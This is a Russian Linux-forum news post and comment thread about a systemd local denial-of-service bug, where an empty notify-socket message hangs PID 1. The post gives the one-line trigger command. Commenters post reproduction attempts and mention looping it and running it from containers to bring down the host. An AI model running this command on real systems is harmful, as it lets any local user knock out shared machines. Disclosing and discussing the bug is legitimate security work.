LINUX.ORG.RU

systemd local DoS

 


1

5

В системном менеджере systemd выявлена локальная уязвимость. Процесс PID 1 зависает на системном вызове pause() при поступлении в сокет уведомлений systemd сообщения нулевой длины, после чего невозможно запустить/остановить демоны или выполнить «чистую» перезагрузку, а systemd-сервисы в стиле inetd перестают принимать соединения. Так как сокет уведомлений /run/systemd/notify доступен всем на запись, то любые локальные пользователи могут вызвать отказ в обслуживании на системах с systemd.

Уязвимость проявляется во всех версиях systemd, начиная, по крайней мере, с версии 209.

Атака сводится к выполнению команды

NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""

>>> Подробности

★★★★★

Проверено: Shaman007 ()
Последнее исправление: sudopacman (всего исправлений: 4)

Кто-нибудь попробовал уже?

ashot ★★★★
()

Да уж...больше два года висит...я думаю тут проблема кроется не в этом баге, а в самом systemd...он сам по себе дефективен, а то, что он навязчиво везде внедряеться, наводит на неприятные мысли...Нельзя не согласиться вот с этой мыслю

Systemd's problems run far deeper than this one bug. Systemd is defective by design. Writing bug-free software is extremely difficult. Even good programmers would inevitably introduce bugs into a project of the scale and complexity of systemd. However, good programmers recognize the difficulty of writing bug-free software and understand the importance of designing software in a way that minimizes the likelihood of bugs or at least reduces their impact. The systemd developers understand none of this, opting to cram an enormous amount of unnecessary complexity into PID 1, which runs as root and is written in a memory-unsafe language.

Odalist ★★★★★
()

systemd dos 5.00. теперь с qbasic-ом и dosshell

buratino ★★★★★
()
 ~ % NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
 ~ % systemctl is-system-running
running
 ~ % systemctl --version 
systemd 231
+PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ -LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD +IDN

Нужно как-то пропатчить systemd, чтобы заработало?

anonymous
()

systemd навсегда

останется гавном, ибо никто кроме Гарри Поттера поддерживать это не в состоянии. Просто чувак нашел золотую жилу как в свое время Java или Microsoft - надеть хипстерские очки и трахать всем мозг - отличная тема для госзаказа

zyoung
()

Даже больше....

Если запустить это под LXC-контейнером из непривелигированного пользователя то на материнском хосте systemd встает колом, статус degraded.

Боль...

arren
()

когда systemd добавят в оффтопик лист? Ну или по крайней мере новости из мира помойки?

slon
()
Ответ на: комментарий от Odalist

Нельзя не согласиться вот с этой мыслю

С этой мыслью можно легко не согласиться. Там и мысли то никакой нет, стандартное defective by design.

Behem0th ★★★★★
()

Но ведь «локальные уязвимости не считаются»©ЛОР.

anonymous
()

Ненужно в очередной раз показало свою ненужность. Ничего удивительного.

Deleted
()
Ответ на: комментарий от anonymous

$ systemd-notify
ksh: systemd-notify: not found
$ uname -a
OpenBSD book60.obsd.lan 6.0 GENERIC#0 amd64

buratino ★★★★★
()
Ответ на: комментарий от dogbert

Unsafe у этой штуки не язык, а её главный автор.

Почему мы бы тебе или кому-нибудь с ЛОРа не занять его место раз вы все такие умные и сделать «как надо»?)

Кстати у меня тоже не воспроизводится.

e7z0x1 ★★★★★
()

Всё поправят, всё будет отлично. Нужная вещь, благодатная, годная. Солнце светит, дети смеются, systemd освещает всё вокруг, Linux лучше становится. Хейтеры уходят.

Martein
()
Ответ на: комментарий от anonymous

Твой комментарий тоже удалят, как и мой почти такой же :(

anonymous
()

В новость не дописали про цикл while true.

Deleted
()

Бвахахахахахаха. Нет, ну правда же. Люди стараются, делают поддержку контейнерной изоляции, процесы с пониженными привилегиями. А тут приходит Аленя и все ломает

kirk_johnson ★☆
()
Ответ на: комментарий от anonymous

> systemd ещё потребуются годы чтоб стать пригодным для продакшена
Уже давно в продакшене

одно другому не противоречит

anonymous
()

Сколько горящих хейтерских жоп в треде :)

Sunderland93 ★★★★★
()

Как будто весь остальной софт настолько идеален, что ни одной уязвимости. Даже такой, какую годами не видят

Sunderland93 ★★★★★
()

Oct 01 14:58:23 localhost systemd[1]: Cannot find unit for notify message of PID 13711

Не робит. =(

anonymous
()
Ответ на: комментарий от kirk_johnson

Люди стараются, делают поддержку контейнерной изоляции, процесы с пониженными привилегиями

Ахаха! Это кто старается?

Это ты щаз случайно не про ту самую контейнерную виртуализацию говоришь, в которой нормальной практикой является запихивание снапшотов *забагованных-дырявых* версий базовых компонентов ос? :-D , я уж молчу про 777 :-) ..

Насмешил :-)

user_id_68054 ★★★★★
()

В чем смысл локальным пользователем завешивать систему? Привилегии таким способом не эскалируешь, а просто повесить это какой-то детский сад. Ладно бы ещё удалённо завешивать, но локально.

Loki13 ★★★★★
()
Ответ на: комментарий от Loki13

В чем смысл локальным пользователем завешивать систему?

Как в чём?! В том чтобы на форумах можно было бы написать «решето» :-D

user_id_68054 ★★★★★
()

не воспроизводится, ЧЯДНТ?

cetjs2 ★★★★★
()
[pyakovlev@n56vz-NekoExMachinaDEV ~]$ NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
[pyakovlev@n56vz-NekoExMachinaDEV ~]$ % NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
bash: fg: %: no such job
[pyakovlev@n56vz-NekoExMachinaDEV ~]$ echo "LOL, it does not work"
LOL, it does not work
[pyakovlev@n56vz-NekoExMachinaDEV ~]$

Fedora 24

IceWindDale
()
Ответ на: комментарий от Odalist

...amount of unnecessary complexity into PID 1, which runs as root and is written in a memory-unsafe language.

А есть истории успеха с «memory-safe» языками?!

Достали уже адепты GC да хрустов своими проповедями. Им, видимо, unhandled exception и sigabrt теплее и ближе чем sigsegv с крэшдампом. Ну я рад за них, но отказоустойчивость ПО от этого никак не повышается. А скорее даже наоборот, ибо разрабы пребывают в блаженном заблуждении, что компилятор (интерпретатор) за ними всюду подотрет.

segfault ★★★★★
()

ви фсё врёте

или, иными словами, фейл.

снять шквор и в бан!

mos ★★☆☆☆
()

Да, было уже. Причем пробовал на Ubuntu LTS и CoreOS - резальтата нет.

BigAlex ★★★
()

Это как же должно у хейтеров пригорать, что они на каждый чих с ключевым словом systemd возбуждаются?

zabbal ★★★★★
()
Ответ на: комментарий от Loki13

Ну, случаи разные бывают. Например, если в контейнерах работают клиенты из других организаций. И одному клиенту сильно требуется временно вырубить другого.

AVL2 ★★★★★
()

Подтверждаю.
CentOS Linux release 7.2.1511 (Core)
systemd 219
Запущена в виртуалке.
С while [ true ]... рухнуло меньше чем за две минуты

anc ★★★★★
()
Ответ на: комментарий от Martein

Всё поправят, всё будет отлично.

Дык уже - меньше суток прошло с репорта как фикс прилетел. Всё-таки systemd это отличный апстрим.

zabbal ★★★★★
()
'systemd-notify' is not recognized as an internal or external command,
operable program or batch file.
slyjoeh ★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.